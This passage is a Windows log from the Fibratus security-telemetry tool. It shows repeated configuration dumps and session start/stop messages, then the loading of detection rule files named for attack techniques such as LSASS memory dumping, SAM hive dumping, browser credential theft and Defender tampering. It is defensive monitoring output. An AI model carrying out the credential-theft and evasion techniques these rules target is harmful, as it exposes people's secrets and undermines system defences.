sniff=>false healthcheck-timeout=>5s template-name=>fibratus bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck=>true] amqp=>[ routing-key=>fibratus delivery-mode=>transient durable=>false exchange-type=>topic url=>amqp://localhost:5672 passive=>false timeout=>5s exchange=>fibratus vhost=>/ tls-insecure-skip-verify=>false enabled=>false] http=>[ enabled=>false enable-gzip=>false method=>POST endpoints=>[] serializer=>json timeout=>5s tls-insecure-skip-verify=>false]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-files=>false fastscan=>true scan-timeout=>10s excluded-files=>[] skip-allocs=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T15:29:17+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:29:20+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:33:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T15:33:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:33:34+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:33:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T15:33:43+01:00 level=info msg=bootstrapping with pid 15832. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T15:33:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] use-template=>true content-type=>text/html enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-fileio=>true max-buffers=>36 enable-audit-api=>true enable-registry=>true buffer-size=>512 min-buffers=>16 enable-handle=>false enable-thread=>true enable-image=>true enable-vamap=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s stack-enrichment=>true enable-dns=>false enable-threadpool=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 log-stdout=>true max-backups=>15 level=>info] + output ......................... [ amqp=>[ passive=>false durable=>false tls-insecure-skip-verify=>false exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient enabled=>false routing-key=>fibratus timeout=>5s exchange=>fibratus] http=>[ endpoints=>[] enabled=>false method=>POST timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false] elasticsearch=>[ healthcheck=>true flush-period=>1s enabled=>false trace-log=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s template-name=>fibratus timeout=>5s sniff=>false bulk-workers=>1 healthcheck-timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-allocs=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-mmaps=>false enabled=>false skip-registry=>false skip-files=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T15:33:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:33:45+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:34:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T15:34:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:34:40+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:35:12+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T15:35:12+01:00 level=info msg=bootstrapping with pid 7304. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T15:35:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-threadpool=>false enable-registry=>true enable-vamap=>true enable-net=>true enable-thread=>true enable-handle=>false flush-interval=>1s stack-enrichment=>true buffer-size=>512 enable-audit-api=>true enable-image=>true enable-dns=>false max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true] + output ......................... [ http=>[ enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json timeout=>5s enabled=>false endpoints=>[] method=>POST] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ healthcheck=>true enabled=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] sniff=>false index-name=>fibratus bulk-workers=>1 trace-log=>false timeout=>5s gzip-compression=>false healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] amqp=>[ exchange=>fibratus routing-key=>fibratus durable=>false passive=>false enabled=>false vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient timeout=>5s exchange-type=>topic]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false skip-files=>false enabled=>false scan-timeout=>10s excluded-files=>[] fastscan=>true skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T15:35:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:35:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:35:26+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T15:35:26+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:37:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T15:37:55+01:00 level=info msg=bootstrapping with pid 12024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T15:37:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 content-type=>text/html use-template=>true to=>[]] slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-handle=>false enable-registry=>true stack-enrichment=>true enable-fileio=>true max-buffers=>36 min-buffers=>16 buffer-size=>512 enable-net=>true enable-dns=>false enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-vamap=>true flush-interval=>1s enable-audit-api=>true enable-threadpool=>false enable-thread=>true enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true formatter=>text max-size=>100 level=>info max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ enabled=>false trace-log=>false healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s healthcheck=>true sniff=>false gzip-compression=>false flush-period=>1s bulk-workers=>1 servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus] http=>[ endpoints=>[] method=>POST serializer=>json enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s] amqp=>[ passive=>false exchange-type=>topic durable=>false delivery-mode=>transient tls-insecure-skip-verify=>false vhost=>/ enabled=>false timeout=>5s exchange=>fibratus routing-key=>fibratus url=>amqp://localhost:5672] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false read-sections=>false read-resources=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true skip-files=>false skip-allocs=>false enabled=>false excluded-files=>[] excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-11T15:37:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:37:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:54:36+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T15:54:36+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:54:36+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:55:00+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T15:55:00+01:00 level=info msg=bootstrapping with pid 2612. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T15:55:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ enable-threadpool=>false enable-mem=>false stack-enrichment=>true enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36 min-buffers=>16 enable-dns=>false enable-thread=>true enable-audit-api=>true flush-interval=>1s enable-vamap=>true enable-fileio=>true enable-net=>true enable-handle=>false buffer-size=>512 enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 log-stdout=>true formatter=>text max-backups=>15] + output ......................... [ eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ enabled=>false healthcheck=>true flush-period=>1s sniff=>false gzip-compression=>false template-name=>fibratus timeout=>5s healthcheck-interval=>10s healthcheck-timeout=>5s trace-log=>false index-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200]] http=>[ enabled=>false serializer=>json enable-gzip=>false endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false method=>POST] amqp=>[ routing-key=>fibratus exchange=>fibratus durable=>false timeout=>5s passive=>false enabled=>false tls-insecure-skip-verify=>false exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ delivery-mode=>transient]] + pe ............................. [ enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s enabled=>false excluded-procs=>[] skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T15:55:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:55:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T15:55:28+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T15:55:28+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T15:55:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:03:55+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-11T16:03:55+01:00 level=info msg=bootstrapping with pid 14756. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:03:55+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-vamap=>true enable-fileio=>true enable-audit-api=>true enable-thread=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] min-buffers=>16 max-buffers=>36 enable-handle=>false enable-mem=>false enable-registry=>true enable-net=>true enable-threadpool=>false enable-image=>true buffer-size=>512 flush-interval=>1s stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text level=>info max-age=>0 log-stdout=>true max-size=>100 max-backups=>15] + output ......................... [ amqp=>[ enabled=>false exchange=>fibratus delivery-mode=>transient durable=>false exchange-type=>topic passive=>false vhost=>/ tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 timeout=>5s] elasticsearch=>[ enabled=>false sniff=>false gzip-compression=>false healthcheck-timeout=>5s timeout=>5s index-name=>fibratus flush-period=>1s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-interval=>10s bulk-workers=>1 healthcheck=>true trace-log=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s endpoints=>[] method=>POST serializer=>json enable-gzip=>false enabled=>false tls-insecure-skip-verify=>false]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] scan-timeout=>10s skip-registry=>false enabled=>false skip-files=>false excluded-procs=>[] fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:03:55+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:03:58+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:05:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-11T16:05:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:05:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-11T16:07:52+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:07:52+01:00 level=info msg=loading rule from 